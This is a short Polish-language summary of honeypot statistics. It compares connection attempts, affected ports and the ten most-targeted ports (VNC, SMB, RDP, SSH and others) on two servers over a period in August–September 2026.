Wartości bezwzględne obu serwerów nie są porównywalne – srv4 oferował powierzchnię o rząd wielkości większą. Sens ma porównywanie struktury i kolejności, a nie wielkości. Więcej
Wskaźnik srv3 srv4 srv4 / srv3
Próby połączenia (lista portów) 1 462 877 4 014 322 2,7×
Porty, których to dotyczy 45 58 628 1 302,8×
Zdarzenia (zmiany w czasie) 1 462 877 4 014 322 2,7×

srv3 najczęściej używane porty

  1. 5901/tcp VNC434 278
  2. 445/tcp SMB415 953
  3. 5900/tcp VNC346 288
  4. 22/tcp SSH77 679
  5. 443/tcp HTTPS25 880
  6. 23/tcp Telnet24 961
  7. 5060/udp SIP22 484
  8. 80/tcp HTTP18 336
  9. 3000/tcp HTTP alt9 322
  10. 3389/tcp RDP7 549

srv4 najczęściej używane porty

  1. 3389/tcp RDP726 599
  2. 5901/tcp VNC449 586
  3. 5900/tcp VNC360 884
  4. 1256/tcp341 276
  5. 8787/tcp340 499
  6. 8082/tcp HTTP alt323 345
  7. 1080/tcp SOCKS270 186
  8. 5800/tcp VNC HTTP159 507
  9. 22/tcp SSH61 829
  10. 445/tcp SMB43 977
Okno czasowe
21. 8. 2026 – 16. 9. 2026
Dane źródłowe
honeypot-ports-aggregated-20260922.csv, timeline-aggregated na razie niedostępne
Skrypt
zostanie opublikowany
Format
dokumentacja pól